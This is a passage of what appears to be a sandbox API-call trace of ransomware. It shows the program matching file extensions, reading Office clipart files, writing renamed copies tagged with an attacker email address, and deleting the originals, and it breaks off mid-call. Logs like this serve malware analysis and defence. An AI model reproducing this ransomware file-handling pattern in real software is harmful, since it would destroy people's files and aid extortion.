lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0059.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0059.800] lstrlenW (lpString=".dbf") returned 4 [0059.800] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0059.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0059.800] lstrlenW (lpString=".1cd") returned 4 [0059.800] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0059.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0059.800] lstrlenW (lpString=".jpg") returned 4 [0059.800] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0059.801] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=14996) returned 1 [0059.801] CloseHandle (hObject=0x1c4) returned 1 [0059.801] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf")) returned 0x20 [0059.801] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0059.801] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0059.801] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0059.801] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0059.801] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0059.801] GetLastError () returned 0x0 [0059.801] ReadFile (in: hFile=0x1c4, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x3a94, lpOverlapped=0x0) returned 1 [0060.432] WriteFile (in: hFile=0x220, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x3aa0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x3aa0, lpOverlapped=0x0) returned 1 [0060.433] ReadFile (in: hFile=0x1c4, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0060.433] WriteFile (in: hFile=0x220, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.433] SetEndOfFile (hFile=0x220) returned 1 [0060.433] CloseHandle (hObject=0x220) returned 1 [0060.433] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0060.433] SetEndOfFile (hFile=0x1c4) returned 1 [0060.434] CloseHandle (hObject=0x1c4) returned 1 [0060.434] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0060.435] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf")) returned 1 [0060.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0060.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0060.612] lstrlenW (lpString=".doc") returned 4 [0060.619] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0060.619] lstrlenW (lpString=".docx") returned 5 [0060.619] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0060.619] lstrlenW (lpString=".pdf") returned 4 [0060.619] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0060.619] lstrlenW (lpString=".xls") returned 4 [0060.619] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0060.627] lstrlenW (lpString=".xlsx") returned 5 [0060.627] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0060.627] lstrlenW (lpString=".ppt") returned 4 [0060.634] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0060.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0060.634] lstrlenW (lpString=".zip") returned 4 [0060.634] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0060.634] lstrlenW (lpString=".rar") returned 4 [0060.634] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0060.638] lstrlenW (lpString=".bz2") returned 4 [0060.641] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0060.641] lstrlenW (lpString=".7z") returned 3 [0060.641] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0060.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0060.646] lstrlenW (lpString=".dbf") returned 4 [0060.646] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0060.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0060.646] lstrlenW (lpString=".1cd") returned 4 [0060.646] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0060.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0060.646] lstrlenW (lpString=".jpg") returned 4 [0060.646] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.097] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=29628) returned 1 [0061.097] CloseHandle (hObject=0x16c) returned 1 [0061.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf")) returned 0x20 [0061.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0061.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0061.098] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0061.098] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0061.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0061.099] GetLastError () returned 0x0 [0061.099] ReadFile (in: hFile=0x16c, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x73bc, lpOverlapped=0x0) returned 1 [0061.101] WriteFile (in: hFile=0x220, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x73c0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x73c0, lpOverlapped=0x0) returned 1 [0061.102] ReadFile (in: hFile=0x16c, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0061.102] WriteFile (in: hFile=0x220, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.102] SetEndOfFile (hFile=0x220) returned 1 [0061.102] CloseHandle (hObject=0x220) returned 1 [0061.102] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0061.102] SetEndOfFile (hFile=0x16c) returned 1 [0061.103] CloseHandle (hObject=0x16c) returned 1 [0061.103] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0061.104] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf")) returned 1 [0061.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63 [0061.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63 [0061.104] lstrlenW (lpString=".doc") returned 4 [0061.104] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.104] lstrlenW (lpString=".docx") returned 5 [0061.104] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.104] lstrlenW (lpString=".pdf") returned 4 [0061.104] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.104] lstrlenW (lpString=".xls") returned 4 [0061.104] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.104] lstrlenW (lpString=".xlsx") returned 5 [0061.104] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.104] lstrlenW (lpString=".ppt") returned 4 [0061.104] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63 [0061.104] lstrlenW (lpString=".zip") returned 4 [0061.104] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.104] lstrlenW (lpString=".rar") returned 4 [0061.104] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.104] lstrlenW (lpString=".bz2") returned 4 [0061.104] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.104] lstrlenW (lpString=".7z") returned 3 [0061.105] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63 [0061.105] lstrlenW (lpString=".dbf") returned 4 [0061.105] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63 [0061.105] lstrlenW (lpString=".1cd") returned 4 [0061.105] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63 [0061.105] lstrlenW (lpString=".jpg") returned 4 [0061.105] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.105] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=2832) returned 1 [0061.105] CloseHandle (hObject=0x16c) returned 1 [0061.105] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf")) returned 0x20 [0061.105] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0061.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0061.105] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0061.106] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0061.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0061.106] GetLastError () returned 0x0 [0061.106] ReadFile (in: hFile=0x16c, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0xb10, lpOverlapped=0x0) returned 1 [0061.107] WriteFile (in: hFile=0x220, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xb20, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xb20, lpOverlapped=0x0) returned 1 [0061.108] ReadFile (in: hFile=0x16c, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0061.108] WriteFile (in: hFile=0x220, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.108] SetEndOfFile (hFile=0x220) returned 1 [0061.109] CloseHandle (hObject=0x220) returned 1 [0061.109] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0061.109] SetEndOfFile (hFile=0x16c) returned 1 [0061.109] CloseHandle (hObject=0x16c) returned 1 [0061.109] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0061.110] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf")) returned 1 [0061.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 63 [0061.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 63 [0061.110] lstrlenW (lpString=".doc") returned 4 [0061.110] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.110] lstrlenW (lpString=".docx") returned 5 [0061.110] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.110] lstrlenW (lpString=".pdf") returned 4 [0061.110] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.110] lstrlenW (lpString=".xls") returned 4 [0061.110] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.110] lstrlenW (lpString=".xlsx") returned 5 [0061.110] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.110] lstrlenW (lpString=".ppt") returned 4 [0061.110] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 63 [0061.110] lstrlenW (lpString=".zip") returned 4 [0061.110] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.110] lstrlenW (lpString=".rar") returned 4 [0061.110] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.110] lstrlenW (lpString=".bz2") returned 4 [0061.110] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.110] lstrlenW (lpString=".7z") returned 3 [0061.110] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 63 [0061.111] lstrlenW (lpString=".dbf") returned 4 [0061.111] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 63 [0061.111] lstrlenW (lpString=".1cd") returned 4 [0061.111] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 63 [0061.111] lstrlenW (lpString=".jpg") returned 4 [0061.111] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.111] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=37974) returned 1 [0061.111] CloseHandle (hObject=0x16c) returned 1 [0061.111] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00261_.wmf")) returned 0x20 [0061.111] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00261_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0061.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00261_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0061.111] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0061.111] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0061.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00261_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0061.112] GetLastError () returned 0x0 [0061.112] ReadFile (in: hFile=0x16c, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x9456, lpOverlapped=0x0) returned 1 [0061.114] WriteFile (in: hFile=0x220, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x9460, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x9460, lpOverlapped=0x0) returned 1 [0061.115] ReadFile (in: hFile=0x16c, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0061.115] WriteFile (in: hFile=0x220, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.115] SetEndOfFile (hFile=0x220) returned 1 [0061.115] CloseHandle (hObject=0x220) returned 1 [0061.115] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0061.116] SetEndOfFile (hFile=0x16c) returned 1 [0061.116] CloseHandle (hObject=0x16c) returned 1 [0061.116] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0061.117] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00261_.wmf")) returned 1 [0061.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63 [0061.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63 [0061.117] lstrlenW (lpString=".doc") returned 4 [0061.117] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.117] lstrlenW (lpString=".docx") returned 5 [0061.117] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.117] lstrlenW (lpString=".pdf") returned 4 [0061.117] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.117] lstrlenW (lpString=".xls") returned 4 [0061.117] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.117] lstrlenW (lpString=".xlsx") returned 5 [0061.117] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.117] lstrlenW (lpString=".ppt") returned 4 [0061.117] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63 [0061.117] lstrlenW (lpString=".zip") returned 4 [0061.117] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.117] lstrlenW (lpString=".rar") returned 4 [0061.117] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.117] lstrlenW (lpString=".bz2") returned 4 [0061.117] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.117] lstrlenW (lpString=".7z") returned 3 [0061.117] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63 [0061.118] lstrlenW (lpString=".dbf") returned 4 [0061.118] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63 [0061.118] lstrlenW (lpString=".1cd") returned 4 [0061.118] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63 [0061.118] lstrlenW (lpString=".jpg") returned 4 [0061.118] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.118] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=40030) returned 1 [0061.118] CloseHandle (hObject=0x16c) returned 1 [0061.118] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00297_.wmf")) returned 0x20 [0061.118] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00297_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0061.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00297_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0061.118] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0061.118] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0061.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00297_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0061.119] GetLastError () returned 0x0 [0061.119] ReadFile (in: hFile=0x16c, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x9c5e, lpOverlapped=0x0) returned 1 [0061.121] WriteFile (in: 